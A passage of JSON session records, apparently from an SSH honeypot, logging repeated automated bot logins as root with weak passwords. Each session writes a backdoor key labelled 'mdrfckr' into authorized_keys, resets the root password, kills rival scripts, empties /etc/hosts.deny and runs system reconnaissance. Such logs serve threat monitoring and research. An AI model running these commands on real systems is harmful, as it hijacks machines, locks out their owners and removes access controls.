.ssh","started_at":"2026-08-26T22:08:43.418751+00:00","ended_at":"2026-08-26T22:08:44.723626+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:08:21.669866+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:08:21.736460+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:08:25.384742+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:08:27.027066+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:08:27.093850+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MU9TSZYnhPJF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:08:27.160282+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:08:27.226892+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:08:28.540004+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:08:28.608952+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:08:28.835122+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:08:30.374836+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:08:30.452522+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:08:31.411924+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:08:31.489578+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:08:32.776005+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:08:32.801261+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:08:34.464010+00:00","kind":"output","latency_ms":null,"data":" 22:08:34 up 6 days, 18:58, 0 user, load average: 0.28, 0.34, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:08:34.530144+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:08:35.558188+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:08:35.629931+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:08:36.518343+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:08:36.588421+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:08:37.856444+00:00","kind":"output","latency_ms":null,"data":"top - 22:08:37 up 6 days, 18:58, 0 user, load average: 0.28, 0.34, 0.22\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:08:37.922647+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:08:38.789698+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:08:38.857888+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:08:39.740156+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:08:39.806700+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:08:41.654531+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:08:41.720595+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:08:43.332376+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:08:43.419517+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:08:44.709570+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"admin1234","method":"password","accepted":true,"tier":"other"}]} {"id":"5c3a7c5e-09ab-45fb-96f1-72a11c840af0","name":"lively-diligent-manatee","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":50540,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:00:42.826853+00:00","ended_at":"2026-08-26T22:00:44.379794+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:00:22.448832+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:00:22.514649+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:00:24.490347+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:00:25.850271+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:00:25.915788+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YGhq6E6MJuOK\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:00:25.982051+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:00:26.049938+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:00:27.211718+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:00:27.632049+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:00:27.698110+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:00:29.740779+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:00:29.806960+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:00:31.241589+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:00:31.312726+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:00:32.963743+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:00:33.028534+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:00:34.494609+00:00","kind":"output","latency_ms":null,"data":" 22:00:34 up 6 days, 18:50, 0 user, load average: 0.16, 0.14, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:00:34.561036+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:00:35.692993+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:00:35.762541+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:00:37.084255+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:00:37.153168+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:00:38.234221+00:00","kind":"output","latency_ms":null,"data":"top - 22:00:38 up 6 days, 18:50, 0 user, load average: 0.16, 0.14, 0.13\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:00:38.300268+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:00:39.471139+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:00:39.539184+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:00:40.356039+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:00:40.423865+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:00:41.646814+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:00:41.713739+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:00:42.760227+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:00:42.827737+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:00:44.369669+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"5tgb$RFV","method":"password","accepted":true,"tier":"other"}]} {"id":"910bee72-8600-4d52-af3a-d73a00585467","name":"coral-lively-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":40922,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":70,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:54:51.098099+00:00","ended_at":"2026-08-26T21:54:51.967026+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-26T21:54:33.881435+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:54:33.950281+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:54:37.185482+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:54:38.926236+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:54:38.993754+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Ekmk0fZAcXSq\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:54:39.065068+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:54:39.132463+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:54:41.091486+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:54:41.176463+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T21:54:41.245045+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T21:54:43.298926+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T21:54:43.371898+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T21:54:44.531258+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T21:54:44.599719+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T21:54:45.413426+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T21:54:45.475081+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T21:54:45.744952+00:00","kind":"output","latency_ms":null,"data":" 21:54:45 up 6 days, 18:44, 0 user, load average: 0.25, 0.18, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T21:54:45.814877+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T21:54:46.527044+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T21:54:46.598634+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T21:54:46.998645+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T21:54:47.068609+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T21:54:47.768069+00:00","kind":"output","latency_ms":null,"data":"top - 21:54:47 up 6 days, 18:44, 0 user, load average: 0.25, 0.18, 0.16\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T21:54:47.838640+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T21:54:48.361613+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T21:54:48.432886+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T21:54:48.772567+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T21:54:48.841076+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T21:54:49.644441+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T21:54:49.713960+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T21:54:51.028148+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T21:54:51.098595+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T21:54:51.952399+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"temproot","method":"password","accepted":true,"tier":"other"}]} {"id":"e0a23090-474a-4bcc-b4e2-c83a6a258114","name":"dewy-faded-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":45852,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":68,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:50:48.908832+00:00","ended_at":"2026-08-26T21:50:50.825332+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-26T21:50:35.447123+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:50:35.516297+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:50:39.328352+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:50:40.165635+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:50:40.234762+00:00","kind":"input","latency_ms":null,"data":"echo \"root:o5XNCezLE60u\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:50:40.301936+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:50:40.371573+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:50:41.251103+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T21:50:41.318220+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T21:50:42.439283+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T21:50:42.508220+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T21:50:43.860998+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:50:43.930168+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T21:50:44.399279+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T21:50:44.467956+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T21:50:45.078231+00:00","kind":"output","latency_ms":null,"data":" 21:50:45 up 6 days, 18:40, 0 user, load average: 0.27, 0.19, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T21:50:45.145705+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T21:50:45.399804+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T21:50:45.468226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T21:50:46.022645+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T21:50:46.090782+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T21:50:46.368570+00:00","kind":"output","latency_ms":null,"data":"top - 21:50:46 up 6 days, 18:40, 0 user, load average: 0.27, 0.19, 0.18\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T21:50:46.437825+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T21:50:46.814617+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T21:50:46.884023+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T21:50:47.380622+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T21:50:47.451197+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T21:50:47.831675+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T21:50:47.899292+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T21:50:48.841620+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T21:50:48.909578+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T21:50:50.813038+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"admin54321","method":"password","accepted":true,"tier":"other"}]} {"id":"19a88dac-d478-40f2-a4ab-5ecb2d32a4d4","name":"bold-nameless-cuckoo","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":56664,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":71,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:46:42.168677+00:00","ended_at":"2026-08-26T21:46:44.366812+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-26T21:46:29.329587+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:46:29.399048+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:46:31.936772+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:46:32.538396+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:46:32.608833+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xmqweC5ZgZLs\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T21:46:32.676661+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T21:46:32.748101+00:00","kind":"input","latency_ms":null,"data":"cat 